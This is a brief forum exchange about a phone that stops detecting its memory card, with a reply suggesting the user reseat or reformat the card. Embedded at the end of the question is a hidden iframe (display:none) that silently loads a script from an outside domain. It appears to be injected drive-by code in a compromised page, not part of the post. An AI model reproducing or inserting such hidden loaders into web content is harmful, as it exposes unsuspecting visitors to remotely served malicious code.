I was reading a book on the phone today listening to music. Later I noticed the songs are not on the phone and when I hit card inform. no card is found yer it is in the phone! What do I do?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

2 things:
1) Try removing and re-inserting the card. Sometimes that helps.

2) The information on cards can become corrupted. It happened to me, so that the MP3 player wouldn't even open as it was trying to read the corrupted directory. Forced me to soft-reset my phone. Re-formatting the card is about the only thing you can do.
